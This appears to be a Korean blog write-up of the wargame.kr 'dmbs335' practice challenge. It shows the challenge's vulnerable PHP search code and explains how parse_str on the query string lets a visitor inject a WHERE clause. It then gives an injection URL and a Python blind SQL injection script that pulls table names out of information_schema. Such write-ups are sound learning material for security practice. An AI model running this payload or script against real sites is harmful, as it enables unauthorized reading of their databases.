webhacking/sql, sql injection

wargame.kr dmbs335

qkqhxla1 2015. 6. 27. 14:57

dmbs335님이 만드신 문제라고 한다. 소스를 보면.


<?php 

if (isset($_GET['view-source'])) {
        
show_source(__FILE__);
        exit();
}

include(
"../lib.php");
include(
"./inc.php"); // Database Connected

function getOperator(&$operator) { 
    switch(
$operator) { 
        case 
'and'
        case 
'&&'
            
$operator 'and'
            break; 
        case 
'or'
        case 
'||'
            
$operator 'or'
            break; 
        default: 
            
$operator 'or'
            break; 
}} 

if(
preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) {
    exit(
'not allowed');
}

parse_str($_SERVER['QUERY_STRING']); 
getOperator($operator); 
$keyword addslashes($keyword);
$where_clause ''

if(!isset(
$search_cols)) { 
    
$search_cols 'subject|content'


$cols explode('|',$search_cols); 

foreach(
$cols as $col) { 
    
$col preg_match('/^(subject|content|writer)$/isDU',$col) ? $col ''
    if(
$col) { 
        
$query_parts $col " like '%" $keyword "%'"
    } 

    if(
$query_parts) { 
        
$where_clause .= $query_parts
        
$where_clause .= ' '
        
$where_clause .= $operator
        
$where_clause .= ' '
        
$query_parts ''
    } 


if(!
$where_clause) { 
    
$where_clause "content like '%{$keyword}%'"

if(
preg_match('/\s'.$operator.'\s$/isDU',$where_clause)) { 
    
$len strlen($where_clause) - (strlen($operator) + 2);
    
$where_clause substr($where_clause0$len); 


?>

~~~~ 중략

<?php
            $result 
mysql_query("select * from board where {$where_clause} order by idx desc");
            while (
$row mysql_fetch_assoc($result)) {
                echo 
"<tr>";
                echo 
"<td>{$row['idx']}</td>";
                echo 
"<td>{$row['subject']}</td>";
                echo 
"<td>{$row['content']}</td>";
                echo 
"<td>{$row['writer']}</td>";
                echo 
"</tr>";
            }
        
?>


라고 나와있다. 좀 다른 방식의 sqli라서 소스 해석하는데 가장 오랜 시간이 걸렸다. 우리가 찾을 수 있는 특이점은 $_GET처럼 받아서 쓰는게 아니라 parse_str함수로 그냥 $_SERVER['QUERY_STRING']을 가져온다는 것이다. $_SERVER['QUERY_STRING']은 우리가 GET방식으로 전달한 문자열을 저장해 놓은 것이고, parse_str함수는 이것을 변수로 만들어주는것이다.


$_SERVER['QUERY_STRING'] : http://blog.naver.com/bad16a/150184532886

parse_str : http://blog.naver.com/diceworld/220223718632


어쨋든 이게 신기한 부분이고 소스에서 취약한 부분을 찾아보자. 아랫부분에 쿼리 실행부분에서 $where_clause가 변수로 들어가는걸로 보아 이걸 조작해야 함을 알 수 있다. 취약한 부분 찾는게 가장 오랜 시간이 걸렸는데, $where_clause변수를 잘 살펴보면 이것은 처음에 

foreach($cols as $col) { 
    
$col preg_match('/^(subject|content|writer)$/isDU',$col) ? $col ''
    if(
$col) { 
        
$query_parts $col " like '%" $keyword "%'"
    } 

    if(
$query_parts) { 
        
$where_clause .= $query_parts
        
$where_clause .= ' '
        
$where_clause .= $operator
        
$where_clause .= ' '
        
$query_parts ''
    } 

부분에서 할당받는다. $query_parts는 위에서 보듯이 만들어지는데, query_parts는 $col일때만 만들어진다. 여기서 힌트를 얻었다. 우리가 입력한 값이 parse_str로 변환되는데, 만약 우리가 get방식으로 query_parts=~처럼 입력하고, $col을 false로 하면 $query_parts는 우리가 처음에 입력한 값이 그대로 들어가지 않을까? 했는데 그게 맞는 생각이었다. 


col은 $search_cols가 |로 explode된 결과이며, 이걸 하나하나 가져와서 subject나 content나 writer가 아니면 ''가 되어 false가 된다. 그러면 우리가 search_cols를 입력할때 subjectdf처럼 이상하게 입력하면 ''가 된다. 이렇게 입력해서 false를 만들고, query_parts를 get방식으로 보내게 되면 우리가 입력한 query_parts가 인젝션되게 된다.


예시. http://wargame.kr:8080/dmbs335/?search_cols=subjectsdfsd&query_parts=1=0 or (select 1)

처럼 입력하면 모든 컬럼이 다 보이고, select 1을 select 0으로 바꾸면 아무것도 안 보인다. 저기다가 인젝션하면 된다.


테이블명 구하기.

# -*- encoding: cp949 -*-
import urllib2
ci_session = 'ci_session='+본인 세션

answer = ''
for i in range(1,50):
    for j in range(32,128):
        print '%2d %3d %s' %(i,j,answer)
        req = urllib2.Request('http://wargame.kr:8080/dmbs335/?search_cols=subjects|contents&keyword=&query_parts=1=0%20or%20(select%20ascii(substr(table_name,'+str(i)+',1))%3D'+str(j)+'%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201)')
        req.add_header('cookie',ci_session)
        page = urllib2.urlopen(req).read()
        if page.find('welcome to wargame.kr') != -1:
            answer += chr(j)
            break

print answer

테이블을 구하면 Th1s_1s_Flag_tbl 라는 값이 나온다. 저걸 잘 바꿔서 이 테이블의 컬럼을 찾아보면 f1ag라는 컬럼이 있다. 그리고 또 잘 바꿔서 flag를 구하면 된다.


음. wargame.kr 의 mini_tbr과 비슷한 get방식으로 잘 전달해서 인젝션하는거라 해야하나? 신선한 문제였다.